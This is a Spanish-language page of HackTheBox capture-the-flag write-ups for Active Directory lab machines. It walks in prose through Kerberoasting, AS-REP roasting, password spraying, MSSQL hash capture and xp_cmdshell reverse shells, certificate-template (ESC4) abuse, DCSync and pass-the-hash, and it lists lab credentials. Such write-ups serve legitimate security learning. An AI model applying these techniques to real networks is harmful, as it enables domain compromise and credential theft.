1 de 100

Walkthroughs

Home

Soy un estudiante de ciberseguridad. Este sitio lo he creado con la intención de compartir mis write-ups de HackTheBox, un lugar donde paso gran parte de mi tiempo aprendiendo, resolviendo retos y, sobre todo, divirtiéndome mientras exploro nuevos conocimientos.

Aquí encontrarás mis experiencias y enfoques para resolver máquinas, desde la enumeración inicial hasta la escalada de privilegios. No pretendo que sea una guía perfecta, pero sí algo útil para quienes están en este mundo o quieren iniciarse. A fin de cuentas, lo que más me importa es seguir aprendiendo y compartir lo que sé con la comunidad.

Cuando no estoy resolviendo retos, me gusta investigar nuevas técnicas, probar herramientas y disfrutar de los pequeños logros que vienen con cada desafío resuelto. Si llegaste hasta aquí, espero que encuentres algo que te sirva o que te inspire a seguir mejorando.a

¡Gracias por pasarte por aquí! 😊

ACTIVE DIRECTORY

Easy

Active

Active es una máquina de dificultad fácil a media, que presenta dos técnicas muy frecuentes para obtener privilegios dentro de un entorno de Active Directory.

Reconnaissance

Realizaremos un escaneo sobre los puertos abiertos de la máquina Active.

Lanzaremos unos scripts con Nmap para intenter ver vulnerabilidades y versiones sobre los puertos abiertos encontrados.

Comprobaremos el nombre del domninio a través del siguiente comando

Añadiremos en nuestro archivo /etc/hosts la dirección IP de Active y el dominio

SMB Enumeration

Procederemos a la enumeración de SMB a través de enum4linux para ver que encontramos. Vemos que sin usuario podemos acceder a los recursos IPC$ y Replication.

Procederemos a acceder al recurso compartido "Replication" sin usuario, y nos descargaremos todo el contenido del recurso compartido en nuestro equipo local.

Abusing GPP Passwords

Decrypting GPP Passwords - gpp-decrypt - impacket-GetGPPPassword

Comprobaremos que tenemos un archivo .xml que pertenece a una política y se trata de la información de un usuario del Active Directory y un campo "cpasswd" que está encriptado utilizando una clave conocida, que es parte de la configuración predeterminada de la Política de Preferencias de Grupo de Windows (GPP).

Para desencriptarlo podemos hacer uso de gpp-decrypt o impacket-Get-GPPPassword.

Flag user.txt

Comprobaremos a través de netexec de que podemos acceder con el usuario encontrado y su respectiva credencial. Comprobamos además de que tiene acceso al recurso compartido "Users".

Procederemos a conectarnos al SMB con estas nuevas credenciales y nos descargaremos el archivo "user.txt" que es la primera flag.

Comprobaremos el contenido de la flag de user.txt

Privilege Escalation

Kerberoasting Attack (GetUsersSPNs.py)

"Procederemos a realizar un ataque de Kerberoasting en busca de servicios en el dominio active.htb que estén vinculados a cuentas de usuario. El objetivo es obtener tickets de servicio Kerberos (TGS) asociados a estos servicios, los cuales podrán ser crackeados offline para intentar revelar las contraseñas de las cuentas de servicio."

Obtenemos el hash Krb5 del usuario "Administrator".

Guardaremos el hash en un archivo de texto

Procederemos a realizar ataque de fuerza bruta a través de un diccionario para desencriptar el hash encontrado. Finalmente hemos obtenido la contraseña.

Comprobamos que podemos acceder con usuario "Administrator" y encontrar su correspondiente flag de root.txt

Cicada

Cicada es una máquina Windows de nivel fácil-difícil que se centra en la enumeración y explotación de Active Directory para principiantes. En esta máquina, los jugadores enumerarán el dominio, identificarán usuarios, navegarán por recursos compartidos, descubrirán contraseñas de texto simple almacenadas en archivos, ejecutarán un spray de contraseñas y usarán el SeBackupPrivilege para lograr un compromiso total del sistema.

Reconnaissance

EscapeTwo

EscapeTwo es una máquina Windows de dificultad fácil centrada en un escenario de compromiso completo de dominio, donde se nos proporcionan credenciales de un usuario con pocos privilegios. Aprovechamos estas credenciales para acceder a un recurso compartido que contiene un archivo Excel dañado. Modificando su estructura de bytes logramos extraer credenciales, que luego utilizamos en un ataque de password spraying en el dominio, obteniendo acceso válido a un usuario con permisos sobre MSSQL.

Desde ahí, enumeramos el sistema y conseguimos nuevas credenciales de SQL, que al aplicarlas nos permiten acceso por WinRM. Al continuar con el análisis del dominio, descubrimos que el usuario tiene privilegios de WriteOwner sobre una cuenta que administra los ADCS. Esto nos permite enumerar los servicios de certificados, donde encontramos una configuración insegura en Active Directory Certificate Services.

Al explotar esta mala configuración, logramos obtener el hash del usuario Administrator, lo que nos permite comprometer completamente el dominio.

Reconnaissance

Para la fase de reconocimiento inicial de la máquina EscapeTwo utilizamos nuestra herramienta personalizada . Esta herramienta automatiza un escaneo Nmap completo que incluye:

Detección de puertos TCP abiertos (-p- --open).
Escaneo de versiones (-sV).
Ejecución de scripts NSE típicos para enumeración adicional (-sC

Para empezar, exportaremos en una variable de entorno llamada IP la dirección IP de la máquina objetivo, lanzaremos la herramienta de iRecon proporcionándole la variable de entorno.

Resumen de Puertos Abiertos

En la enumeración de puertos encontramos importantes como los siguientes:

Puerto

Servicio

Por los puertos encontrados, parece que nos estamos enfrentando a un Domain Controller (DC) de Windows.

A través de la herramienta de netexec y ldapsearch enumeraremos el equipo para localizar más información. Entre la información obtenida, verificamos el hostname, versión del SO y el nombre del dominio.

En nuestro archivo /etc/hosts añadiremos las siguientes entradas correspondientes para que a la hora de hacer referencia al dominio, hostname o FQDN (nombre de dominio completo que identifica de forma única una máquina o servidor en una red).

En algunas máquinas de HTB, a veces se nos proporcionan credenciales iniciales como en este caso.

Validaremos las credenciales que se nos han proporcionado, verificando que nos sirven para autenticarnos por LDAP.

Kerberoasting Attack (FAILED)

En este caso ya contamos con credenciales válidas del dominio, intentamos realizar un ataque de Kerberoasting.

Este ataque se basa en solicitar un TGS (Ticket Granting Service) para aquellas cuentas del dominio que tengan asignado un SPN (servicePrincipalName). Para ello, usamos la herramienta GetUserSPNs.py de Impacket, que nos permite identificar usuarios con SPNs asociados y solicitar el TGS correspondiente para luego intentar crackear el hash offline.

En este caso, el ataque tuvo éxito y encontró a dos cuentas que tienen un SPN asignado. Probaremos de crackear de manera offline estos hashes TGS obtenidos en el archivo hashes.txt.

Al intentar crackear a través de hashcat los hashes obtenidos, comprobamos que la contraseña no se encuentra dentro del diccionario típico de rockyou.txt. Comprobaremos más adelante otros tipos de ataques a realizar, etc.

AS-REP Roast Attack (FAILED)

Realizaremos una enumeración de los usuarios del dominio a través de NetExec. Para ello utilizaremos el siguiente comando para obtener solamente los nombres de uusarios disponibles y los almacenaremos en el archivo users.txt.

Dado que disponemos de un listado potencial de usuarios válidos del dominio, intentamos realizar un AS-REP Roast Attack.

Este ataque consiste en solicitar un TGT (Ticket Granting Ticket) a aquellos usuarios del listado (users.txt) que tengan habilitado el flag DONT_REQ_PREAUTH de Kerberos. Para esto, utilizamos la herramienta GetNPUsers.py de la suite Impacket, que nos permite identificar qué usuarios tienen esa opción activa.

El objetivo es obtener un TGT sin autenticación previa y luego intentar crackear offline la contraseña. Sin embargo, ninguno de los usuarios tenía configurado dicho flag, por lo tanto, no eran susceptibles a AS-REP Roasting.

Shell as sql_svc

SMB Enumeration

A través de las credenciales de rose@sequel.htb, realizaremos una enumeración del servicio SMB. En el resultado obtenido, comprobamos que disponemos del permiso de READ sobre varios recursos compartidos, entre los que destacamos los siguientes:

Accounting Department
Users

El módulo spider_plus permite enumerar de forma automática el contenido de los recursos compartidos SMB a los que tenemos acceso, sin necesidad de montarlos manualmente ni navegar carpeta por carpeta.

Este módulo analiza los shares accesibles (como Users, SYSVOL, NETLOGON, etc.), y recopila metadatos sobre todos los archivos y carpetas encontrados: nombre, tamaño, extensiones, rutas, y más. Esto nos permite detectar archivos interesantes, como contraseñas, documentos internos, scripts de login o información sensible, sin descargar nada.

Tras usar el módulo spider_plus, encontramos varios archivos en los recursos SMB. En el share Accounting Department destacaron dos documentos Excel:

accounting_2024.xlsx (9.98 KB)
accounts.xlsx (6.62 KB)

Por el nombre y la ubicación, es probable que contengan información interna o sensible relacionada con temas contables. Son archivos que vale la pena revisar más a fondo.

A través de la herramienta NetExec (nxc), descargamos los archivos .xlsx identificados previamente en el recurso compartido Accounting Department, con el objetivo de analizarlos de forma local.

Information Extraction from an Unreadable Excel File via Decompression

Al intentar abrir cualquiera de los archivos Excel descargados, observamos que no se visualizan correctamente. En lugar de mostrar datos estructurados, se presentan en un formato ilegible, compuesto por caracteres extraños y sin sentido aparente.

Esto sugiere que el archivo no es un documento de Excel convencional o está corrupto. Sin embargo, al tratarse de un archivo .xlsx, sabemos que internamente funciona como un contenedor .zip, lo cual nos da una vía alternativa para intentar extraer su contenido real.

Dado que el archivo accounts.xlsx no se podía visualizar correctamente al abrirlo, procedimos a descomprimirlo directamente utilizando la herramienta unzip. Al tratarse de un archivo .xlsx, sabíamos que internamente es un contenedor ZIP con una estructura basada en archivos XML.

Durante la extracción se desplegaron múltiples archivos XML, como workbook.xml, sheet1.xml, sharedStrings.xml, entre otros, que conforman la estructura y contenido del documento. Esto nos permite analizar el contenido de forma manual, sin depender del visor de Excel.

Una vez descomprimido el archivo, revisamos el fichero xl/sharedStrings.xml, que contiene los textos visibles dentro de las celdas del Excel. Ahí encontramos datos claramente estructurados como una tabla de usuarios con sus respectivas credenciales:

Angela Martin – angela@sequel.htb / 0fwz7Q4mSpurIt99
Oscar Martinez – oscar@sequel.htb / 86LxLBMgEWaKUnBG

Esto confirma que el archivo contenía información sensible relacionada con usuarios del dominio, incluyendo credenciales en texto claro, lo cual representa una vulnerabilidad crítica si alguno de estos accesos sigue siendo válido.

Password Spraying

Tras extraer las credenciales del archivo Excel, añadimos los nuevos usuarios que no teníamos previamente al archivo users.txt, y guardamos las contraseñas descubiertas en un archivo aparte (passwords.txt) para su posterior uso en ataques de autenticación.

A través de NetExec verificamos unas nuevas credenciales válidas obtenidas para el usuario oscar@sequel.htb.

A través de este usuario también realizamos la enumeración correspondiente pero no logramos obtener ningún tipo de información adicional.

MSSQL Enumeration

En la enumeración inicial de puertos a través de Nmap, descubrimos que se encontraba el servicio de MSSQL (Microsoft SQL Server) expuesto a través del puerto por defecto 1433. Con lo cual también decidimos probar a autenticarnos con los usuarios que disponíamos para verificar si lográbabmos obtener información interesante.

Despúes de una enumeración con dichos usuarios, comprobamos que podemos autenticarnos al servicio MSSQL.

El hash stealing a través de xp_dirtree es una técnica que se aprovecha de cómo funcionan algunas funciones de MSSQL al acceder a rutas remotas. En concreto, xp_dirtree intenta leer el contenido de una carpeta, y si le damos una ruta UNC (como \\IP\recurso), el servidor intenta autenticarse contra ese recurso compartido.

Esto provoca que el servidor MSSQL envíe automáticamente las credenciales del usuario del servicio (por ejemplo, sql_svc) a nuestra máquina, lo que nos permite capturar su hash NTLMv2 con herramientas como Responder.

Para ello, ejecutaremos nuestro responder que recibirá ese hash NTLMv2.

A través de NetExec nos autenticaremos al servicio MSSQL y ejecutaremos la QUERY para abusar del componente xp_dirtree y así obtener el hash NTLMv2.

Esto confirma que logramos capturar el hash del usuario sql_svc, el cual puede ser utilizado en ataques de cracking o relay dependiendo del entorno. Pero como vimos anteriormente, este usuario también era susceptible a Kerberoasting y no pudimos crackear su hash TGS.

Durante la revisión del archivo XML extraído del Excel, identificamos unas credenciales asociadas al usuario sa junto a una contraseña que parecía estar relacionada con MSSQL (MSSQLP@ssw0rd!).

Al probar estas credenciales mediante autenticación por defecto (Windows Auth), el login falló, lo cual indica que sa no es un usuario del dominio, razón por la cual tampoco apareció en el password spraying inicial.

Sin embargo, al intentar autenticación local (--local-auth), las credenciales funcionaron correctamente.

La cuenta sa (por System Administrator) en SQL Server es la cuenta administrativa por defecto cuando se usa autenticación mixta (SQL + Windows).

Abusing xp_cmdshell component on MSSQL (RCE)

Al contar con acceso como sa, la cuenta administrativa por defecto de SQL Server, podemos aprovechar el componente xp_cmdshell para ejecutar comandos directamente en el sistema operativo.

Utilizando NetExec, es posible hacerlo con el parámetro -x, que permite lanzar comandos remotos a través del servicio MSSQL.

El resultado confirma que la ejecución es exitosa y que los comandos se ejecutan con el contexto del usuario sequel\sql_svc, lo cual nos da ejecución remota de comandos (RCE) en el host comprometido.

Utilizaremos una Reverse Shell de en PowerShell para obtener acceso a la máquina directamente.

Nos pondremos en escucha por el puerto especificado en el generador de RevShells.

A través de NetExec ejecutaremos el comando que se nos ha proporcionado para ganar acceso al Domain Controller a través de la Reverse Shell de PowerShell.

Verificamos que logramos acceder al sistema a través del usuario sequel\sql_svc.

Auth as ryan

Sensitive Credentials Exposed in SQL Server Configuration File

Realizando una enumeración del DC, nos encontramos con un archivo de configuración de SQL en el cual aparecen en texto plano las credenciales del usuario que disponemos actualmente.

Validaremos que las credenciales encontradas en ese archivo de configuración son válidas para el usuario sequel\sql_svc.

Password Spraying

Comprobamos si la contraseña WqSZAF6CysDQbGb3 era reutilizada por otros usuarios del dominio. Para ello, realizamos un password spraying con NetExec utilizando dicha contraseña contra un listado de usuarios:

Como resultado, confirmamos que esta contraseña es válida para dos cuentas:

ryan:WqSZAF6CysDQbGb3
sql_svc:WqSZAF6CysDQbGb3

Esto indica una posible reutilización de credenciales, una práctica insegura que puede facilitar movimientos laterales en el entorno.

Probamos de validar si con estas nuevas credenciales del usuario ryan obtenidas, podemos autenticarnos a WinRM para acceder remotamente al DC. Verificamos que en el resultado nos aparece como Pwn3d! lo cual nos confirma el acceso.

A través de NetExec ejecutaremos comandos mediante PowerShell a través del parámetro (-X) y obtendremos finalmente la flag user.txt.

Auth as ca_svc

BloodHound Enumeration

En este punto realizamos una enumeración del dominio utilizando RustHound, un collector compatible con BloodHound y con soporte para Active Directory Certificate Services (ADCS).

Por otro lado, levantaremos nuestro BloodHound CE para tenerlo disponible y poder subir la información recopilada en el punto anterior.

Abusing WriteOwner privileges to gain full control from a user

Durante el análisis en BloodHound, identificamos que el usuario ryan@sequel.htb posee el privilegio WriteOwner sobre el objeto ca_svc@sequel.htb.

Este privilegio permite que ryan se establezca como propietario del objeto, lo que a su vez le otorga control total sobre él. A partir de ahí, es posible llevar a cabo distintos tipos de ataques. Entre los más relevantes destacamos:

Targeted Kerberoasting
Shadow Credentials
Reset de contraseña (aunque no recomendable en un entorno real de pentesting)

Este tipo de abuso es especialmente útil cuando queremos escalar privilegios sin modificar directamente contraseñas ni levantar alertas.

A través de BloodyAD, nos convertimos en propietarios del usuario ca_svc aprovechando el privilegio WriteOwner detectado en BloodHound. Una vez asignado este cambio, nos otorgamos el permiso GenericAll, lo que nos da control total sobre la cuenta. Con este acceso, podemos llevar a cabo ataques como Shadow Credentials, Kerberoasting dirigido , etc.

Shadow Credentials Attack through certipy-ad

Aprovechando el control total que teníamos sobre la cuenta ca_svc, realizamos un ataque de Shadow Credentials utilizando Certipy. Este ataque consiste en inyectar un certificado malicioso dentro del atributo msDS-KeyCredentialLink del usuario objetivo, permitiéndonos autenticarnos como él sin conocer su contraseña.

En este caso, usamos Certipy para automatizar el proceso. Al finalizar, obtuvimos un TGT válido y la caché de credenciales (.ccache) para ca_svc, así como su hash NTLM, sin necesidad de modificar la contraseña ni generar alertas visibles.

Auth as Administrator

ESC4 exploitation case with certipy-ad

En BloodHound verificamos que la cuenta ca_svc@sequel.htb posee el privilegio GenericAll sobre una plantilla de certificado vulnerable. Esta relación nos permite abusar de una vulnerabilidad tipo ESC4, que consiste en emitir certificados maliciosos para autenticarnos como otros usuarios privilegiados, en este caso Domain Admins.

Active Directory Certificate Services (ADCS) es la funcionalidad de Windows Server que permite gestionar infraestructuras de clave pública (PKI) dentro de un entorno de Active Directory. A través de los ADCS, los usuarios y equipos pueden solicitar certificados digitales para autenticación, cifrado, firma de correos, entre otros.

Una mala configuración en los permisos o plantillas de certificados puede permitir a un atacante emitir certificados maliciosos y autenticarse como cualquier usuario, incluso administradores, lo que representa una vía crítica de escalada de privilegios.

Usando certipy-ad, identificamos que la plantilla de certificado DunderMifflinAuthentication es vulnerable a ESC4. Esta plantilla permite autenticación como cliente, está habilitada, y ca_svc (a través del grupo Cert Publishers) tiene permisos peligrosos como WriteOwner, WriteDACL y FullControl.

Esta configuración nos permite emitir certificados maliciosos en nombre de cualquier usuario del dominio, incluyendo administradores, facilitando una escalada directa a Domain Admin.

Seguiremos los siguientes pasos para poder abusar del ESC4 en el ADCS.

Aprovechando los permisos sobre la plantilla DunderMifflinAuthentication, modificamos su configuración mediante certipy-ad. Antes de realizar cambios, se guardó la configuración original por seguridad. La plantilla fue actualizada con éxito, lo que nos permitirá emitir certificados personalizados para llevar a cabo una escalada de privilegios.

Tras modificar la plantilla DunderMifflinAuthentication, volvimos a analizar su configuración con certipy-ad. Se confirmó que los cambios fueron aplicados correctamente y que el grupo Cert Publishers, al que pertenece ca_svc, mantiene permisos peligrosos como Full Control, WriteOwner, WriteDACL y WriteProperty.

Certipy vuelve a marcar la plantilla como vulnerable a ESC4, lo que valida que sigue siendo explotable para emitir certificados maliciosos y escalar privilegios dentro del dominio.

Una vez confirmada la vulnerabilidad en la plantilla DunderMifflinAuthentication, procedimos a solicitar un certificado malicioso usurpando la identidad del usuario Administrator. Para ello, utilizamos certipy-ad, aprovechando los permisos de ca_svc sobre la plantilla.

La solicitud se completó con éxito y obtuvimos un certificado válido con UPN Administrator. El certificado fue guardado localmente en formato .pfx, lo que nos permitirá autenticarnos como Administrator mediante técnicas como Pass-the-Cert.

Con el certificado malicioso generado previamente, realizamos una autenticación como Administrator utilizando Pass-the-Cert a través de certipy-ad.

La autenticación fue exitosa, se obtuvo un TGT válido y, además, se recuperó el hash NTLM del usuario administrator@sequel.htb.

Abusing through Pass-the-Hash (PtH) on NetExec

Utilizando el hash NTLM obtenido previamente del usuario Administrator, realizamos una autenticación mediante Pass-the-Hash (PtH) usando NetExec.

La prueba fue exitosa, confirmando que el hash es válido y que tenemos acceso completo como Administrator a través de WinRM. Esto demuestra el control total sobre el sistema con privilegios de Domain Admin, sin necesidad de conocer la contraseña en texto claro.

A través de NetExec obtendremos finalmente la flag root.txt sin necesidad de acceder al Domain Controller.

Fluffy

Reconnaissance

Para la fase de reconocimiento inicial de la máquina Fluffy utilizamos nuestra herramienta personalizada . Esta herramienta automatiza un escaneo Nmap completo que incluye:

Forest

Forest en un controlador de dominio de Windows (DC) de dificultad fácil, para un dominio en el que se ha instalado Exchange Server. Se descubre que el DC permite enlaces LDAP anónimos, que se utilizan para enumerar objetos de dominio. La contraseña de una cuenta de servicio con la autenticación previa Kerberos deshabilitada se puede descifrar para obtener un punto de apoyo.

Se descubre que la cuenta de servicio es miembro del grupo Operadores de cuenta, que se puede utilizar para agregar usuarios a grupos privilegiados de Exchange. La pertenencia al grupo de Exchange se aprovecha para obtener privilegios de DCSync en el dominio y volcar los hashes NTLM.

Reconnaissance

Realizaremos un reconocimiento sobre la máquina Forest para encontrar puertos abiertos.

Lanzaremos unos scripts básicos para ver si encontramos alguna vulnerabilidad en los puertos expuestos.

Comprobaremos el nombre del dominio a través del siguiente comando.

Procederemos a añadir la línea del dominio en el archivo /etc/hosts con su respectiva dirección IP.

RPC Enumeration - Getting valid domain users

Utilizamos rpcclient con el comando enumdomusers para enumerar los usuarios del dominio en el servidor SMB con IP 10.10.10.161. Este comando permite la conexión anónima y proporciona una lista de usuarios sin necesidad de credenciales.

Redirigiremos el resultado a un archivo llamado "users" y comprobaremos el contenido del archivo.

Perform an AS-RepRoast attack with the obtained users

Ejecutamos la herramienta de impacket-GetNPUsers con las opciones -no-pass y -usersfile users para obtener los usuarios que pueden realizar autenticación con Kerberos en el dominio htb.local a través del fichero de los usuarios enumerados.

Comprobamos que obtenemos el hash krb5 del usuario "svc-alfresco".

Cracking hashes with Hashcat

Nos guardaremos el hash en un archivo llamado "hash.txt"

Con el uso de la herramienta de hashcat realizaremosataque de fuerza bruta para obtener la contraseña a través de un diccionario, como rockyou. Finalmente obtenemos que la contraseña para el usuario "svc-alfresco" es "s3rvice".

Flag user.txt

Procederemos a comprobar que con dichas credenciales podemos acceder al WinRIM que hemos encontrado expuesto en la máquina. Comprobamos que efectivamente nos aparece como Pwn3d.

Procederemos a conectarnos mediante evil-winrm y con las credenciales encontradas, comprobamos la flag de user.txt.

Privilege Escalation

BloodHound Enumeration with SharpHound

Procederemos a pasarnos al equipo que queremos comprometer el binario de SharpHound.exe y a recopilar toda la información del sistema.

El .zip que nos genere, nos lo descargaremos a nuestra Kali.

Finding an attack vector in BloodHound

Es hora de elevar nuestros privilegios y obtener acceso de administrador. Volviendo a BloodHound, podemos ver que nuestro usuario, svc-alfresco, es miembro del grupo “Account Operators” que tiene permiso GenericAll en el grupo “Exchange Windows Permissions”.

Con el permiso GenericAll, tenemos todos los derechos sobre el objeto de destino (agregar usuarios a un grupo, restablecer la contraseña del usuario, etc.) y podemos abusar de este permiso débil.

Además, el grupo “Exchange Windows Permissions” tiene permiso WriteDACL en el dominio (htb.local). Esto significa que si creamos un usuario y lo agregamos al grupo “Exchange Windows Permissions”, podríamos darle derechos de acceso DCSync y volcar los hashes de contraseña del controlador de dominio.

Abusing Account Operators Group - Creating a new user

Abusando de que el usuario svc-alfresco se encuentra en el grupo donde podemos crear usuarios, procederemos a añadir un nuevo usuario y hacerlo miembro del grupo "Exchange Windows Permissions"

Abusing Account Operators Group - Assigning a group to the newly created user

Comprobaremos que el usuario se ha creado correctamente y las credenciales funcionan sin problemas.

Abusing WriteDacl in the domain - Granting DCSync Privileges

Primero de todo, procederemos a descargarnos el PowerView en nuestro equipo Kali, lo pasaremos al equipo que queremos comprometer e importaremos el módulo.

Estos comandos le otorga al usuario jr el derecho DCSync en el controlador de dominio htb.local, lo que le permite replicar la base de datos del dominio y obtener hashes de contraseñas de otros usuarios.

DCSync Exploitation - Secretsdump.py

Utilizaremos la herramienta de secretsdump para bolcar toda la información de las contraseás (hashes) del DC. Comprobamos que hemos obtenido el hash del usuario "Administrator", lo cual podremos hacer un Pass The Hash.

PassTheHash

Comprobaremos con netexec de conectarnos al WinRM mediante el usuario "Administrator" y el hash que hemos dumpeado con Secretsdump.py.

Comprobamos que nos aparece como Pwn3d lo que indica que podemos conectarnos haciendo PassTheHash con el usuario Administrator.

Procederemos a conectarnos haciendo PassTheHash con el usuario "Administrator" y su respectivo hash y comprobamos que podemos acceder y revisar la flag de root.txt.

Sauna

Sauna es una máquina Windows de dificultad fácil que cuenta con enumeración y explotación de Active Directory. Los posibles nombres de usuario se pueden derivar de los nombres completos de los empleados que figuran en el sitio web. Con estos nombres de usuario, se puede realizar un ataque ASREPRoasting, que da como resultado un hash para una cuenta que no requiere autenticación previa de Kerberos. Este hash se puede someter a un ataque de fuerza bruta fuera de línea, con el fin de recuperar la contraseña de texto simple para un usuario que puede usar WinRM en el equipo

La ejecución de WinPEAS revela que otro usuario del sistema se ha configurado para iniciar sesión automáticamente e identifica su contraseña. Este segundo usuario también tiene permisos de administración remota de Windows. BloodHound revela que este usuario tiene el derecho extendido DS-Replication-Get-Changes-All, que le permite volcar hashes de contraseñas del controlador de dominio en un ataque DCSync. Al ejecutar este ataque se devuelve el hash del administrador del dominio principal, que se puede usar con psexec.py de Impacket para obtener un shell en el equipo como NT_AUTHORITY\SYSTEM.

Reconnaissance

Comenzaremos a realizar un escaneo de todos los puertos abiertos de la máquina víctima.

Procederemos a extraer los puertos con nuestra función extractPorts para tenerlos copiados en la clipboard

Procederemos a lanzar scripts de Nmap para intentar descubrir algunas vulnerabildades sobre los puertos abiertos que hemos encontrado. Hemos encontrado el nombre del AD (EGOTISTICAL-BANK.LOCAL).

Procederemos a añadir en nuestro archivo /etc/hosts el nombre del dominio con la IP de la máquina.

Probaremos de acceder al sitio web para ver que nos encontramos, a primera vista no encontramos nada interesante.

User Enumeration

Procederemos a intentar a realizar la enumeración de usuarios del AD a través de diferentes métodos.

Kerberos User Enumeration

Como hemos visto que Kerberos (Port 88) estaba expuesto, a través de la herramienta de Kerbrute procederemos a enumerarlos a través de un diccionario de secLists. Después de un buen rato, solamente hemos podido encontrar 3 usuarios. Tomaremos nota de dichos usuarios.

Information Leakage

Investigando la página web, nos encontramos que existe una página donde indican los nombres de los empleados de la empresa, esto nos puede servir útil para intentar descubrir posibles usernames a través de sus nombres, apellidos, etc.

Procederemos a crear un archivo llamado "users.txt" en el cual pondremos los nombres y apellidos de los usuarios encontrados en el sitio web.

A través de la herramienta de procederemos a generar posibles nombres de usuario a través de combinaciones de sus nombers y apellidos, etc.

ASRepRoast Attack (GetNPUsers)

Con el Impacket de GetNPUsers.py procederemos a realizar un ataque para enumerar usuarios con el atributo de autenticación previa don't require Kerberos (DONT_REQ_PREAUTH). Lo que realiza este comando es recorrer línea por línea el archivo generado en el paso anterior para probar con todos los usuarios.

Procederemos a comprobar el resultado del ataque, el archivo "hash.txt". Comprobaremos que hemos obtenido un tiquet GTG para el usuario "fsmith" con su respectivo hash de Krb5.

Procederemos a guardarnos el hash del usuario "fsmith" en un archivo nombrado "fsmith.hash"

Comprobaremos que se nos ha guardado correctamente el contenido del hash en el archivo creado.

A través de la herramienta de hashcat procederemos a intentar desencriptar el hash encontrado a través de un diccionario, para que vaya probando todas las contraseñas del diccionario para ver si alguna al generar el hash coincide con el hash del usuario.

Finalmente nos encontramos que la contraseña ha estado crackeada.

Privilege Escalation

Una vez obtenida la contraseña del usuario "fsmith", como hemos visto que el servicio de WinRM estaba expuesto, procederemos con evil-winrm de conectarnos con las credenciales conectadas. Comprobamos que hemos podido acceder sin problemas y hemos encontrado la flag de "user.txt".

winPEAS

Tendremos que tener abierto el evil-winrm des de donde disponemos el ejecutable de winPEAS.exe para asi ejecutar el "upload" a la máquina. Una vez subido en la máquina, procederemos a ejecutarlo.

Comprobaremos que hemos encontrado un AutoLogon con las credenciales de un usuario.

DCSync Attack - Secretsdump

El DCSync Attack es una técnica de ataque utilizada en el ámbito de la ciberseguridad para obtener contraseñas y otros secretos almacenados en el controlador de dominio de un entorno de Active Directory. Esta técnica se basa en la funcionalidad de replicación de Active Directory y permite a un atacante que tenga ciertos privilegios obtener hashes de contraseñas y otros datos de cuentas, incluyendo cuentas de administrador.

Procederemos a través del Impacket-secretsdump de obtener los hashes NTLM y Kerberos del DC con el usuario que hemos encontrado y su respectiva contraseña.

Comprobamos que nos ha dumpeado el hash de la cuenta de "Administrator".

PassTheHash

Una vez obtenido el hash del usuario "Administrator", procederemos a conectarnos al WinRM con evil-winrm indicando que queremos acceder con el usuario "Administrator" y el hash encontrado.

Comprobaremos que ganamos acceso a la máquina como usuario Administrator y la flag del "root.txt".

Support

Support es una máquina Windows de dificultad Fácil que cuenta con un recurso compartido SMB que permite la autenticación anónima. Después de conectarse al recurso compartido, se descubre un archivo ejecutable que se utiliza para consultar al servidor LDAP de la máquina los usuarios disponibles.

A través de ingeniería inversa, análisis de red o emulación, se identifica la contraseña que utiliza el binario para vincular el servidor LDAP y se puede utilizar para realizar más consultas LDAP. Se identifica un usuario llamado support en la lista de usuarios y se descubre que el campo info contiene su contraseña, lo que permite una conexión WinRM a la máquina. Una vez en la máquina, se puede recopilar información del dominio a través de SharpHound

Timelapse

Timelapse es una máquina Windows sencilla que implica acceder a un recurso compartido SMB de acceso público que contiene un archivo zip. Este archivo zip requiere una contraseña que se puede descifrar con John. Al extraer el archivo zip se obtiene un archivo PFX cifrado con contraseña, que también se puede descifrar con John, convirtiendo el archivo PFX a un formato hash legible por John.

Del archivo PFX se puede extraer un certificado SSL y una clave privada, que se utiliza para iniciar sesión en el sistema a través de WinRM. Después de la autenticación, descubrimos un archivo de historial de PowerShell que contiene las credenciales de inicio de sesión para el usuario svc_deploy. La enumeración de usuarios muestra que svc_deploy es parte de un grupo llamado LAPS_Readers. El grupo LAPS_Readers tiene la capacidad de administrar contraseñas en LAPS y cualquier usuario de este grupo puede leer las contraseñas locales de las máquinas del dominio. Al abusar de esta confianza, recuperamos la contraseña del administrador y obtenemos una sesión de WinRM.

Reconnaissance

Escanearemos los puertos abiertos del equipo para comprobar que servicios se encuentran expuestos e intentar aprovecharnos de distintas vulnerabilidades.

Una vez realizado el escaneo de los puertos abiertos, procederemos con Nmap a ejecutar distintos scripts para encontrar vulnerabilidades e información.

Como hemos encontrado en el escaneo de Nmap el nombre del dominio del AD, también lo podemos enumerar a través del siguiente comando, debido que el servicio de LDAP está abierto.

Procederemos a añadirnos en nuestro archivo /etc/hosts el dominio correspondiente

Users Enumeration

Kerberos User Enumeration - Kerbrute

Procederemos a enumerar usuarios del AD a través de la herramienta de Kerbrute ya que hemos comprobado que el puerto de Kerberos (88) se encontraba abierto. En este punto nos encontramos que hemos podido enumerar que existe el usuario "Admninistrator" y "Guest".

SMB Enumeration

Como hemos comprobado, el servicio de SMB se encuntra expuesto, procederemos a comprobar cuales son los recursos que se encuentran compartidos en Samba.

Procederemos a intentar comprobar con netexec si podemos acceder con el usuario "guest" sin contraseña y comprobar que tipo de permisos tiene en los recursos compartidos. Nos encontramos que tiene permisos de lectura a los recursos "Shares" y "IPC$"

Una vez comprobado el acceso, procederemos a conectarnos al recurso compartido "Shares" con el usuario "guest" y procedermos a listar el directorio en busca de archivos, nos lo descargaremos en nuestra Kali para analizarlos.

Cracking ZIP Password Protected File (fcrackzip)

A través de la herramienta de fcrackzip procederemos a intentar crackear la contraseña de un .zip que nos hemos descargado del reurso compartido de SMB. Utilizando esta herramienta y pasándole un diccionario de contraseñas finalmente comprobamos que ha crackeado la contraseña.

Procederemos a descomprimir el .zip con la contraseña que hemos creackado, nos dejará un archivo .pfx

Cracking and reading .PFX File (crackpkcs12)

A través de la herramienta crackpkcs12 procederemos a intentar crackear la contraseña del archivo .PFX

Procederemos a convertir el .PFX en un .PEM y extraer la clave privada del certificado.

Flag user.txt

Una vez obtenido el certificado y la clave privada, procederemos a conectarnos al WInRM con la herramienta evil-winrm indicando el certificado y clave privada que hemos desencriptado.

Comprobaremos que ganamos acceso a la máquina de TimeLapse, procedremos a comprobar la flag de "user.txt"

Privilege Escalation

Information Leakage - Reading the user's Powershell history (User Pivoting)

Procederemos a comprobar el historial de Powershell del usuario "legacyy" que es con el que hemos accedido. Comprobaremos que aparece una serie de "Script" en el cual aparece la contraseña en texto plano del usuario "svc_deploy".

